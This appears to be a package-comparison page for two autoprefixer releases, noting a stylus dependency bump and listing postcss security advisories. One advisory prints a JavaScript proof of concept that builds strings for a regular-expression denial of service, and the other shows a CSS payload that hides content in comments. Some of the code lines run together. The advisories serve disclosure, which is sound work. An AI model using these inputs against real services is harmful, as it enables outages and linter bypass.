The autoprefixer package, designed to enhance CSS compatibility across different browsers by automatically adding vendor prefixes based on Can I Use data, saw a minor update from version 1.1.20140429 to 1.1.20140430. Both versions share the same core functionality: parsing CSS and applying prefixes to ensure wider browser support. They also depend on the same core modules like postcss for CSS parsing and fs-extra for file system operations. Key development dependencies, vital for testing and building the project, also remain largely consistent, including tools like nib, mocha, should, browserify, and coffee-script.
The most notable change between these versions lies in the updated stylus dependency. The older version relies on stylus version 0.43.1, while the newer version utilizes 0.44.0. While seemingly minor, this stylus update could bring subtle improvements in CSS parsing or other features when used in conjunction with autoprefixer. A developer leveraging autoprefixer within a stylus workflow should be aware of potential compatibility nuances introduced with this minor version bump. Both versions are under the MIT license and point to the same GitHub repository, assuring that the core team and licensing stay consistent. For developers, regardless of the chosen version, it's crucial to consult the stylus changelog to fully understand the implications of this updated dependency within their CSS development pipeline.
All the vulnerabilities related to the version 1.1.20140430 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.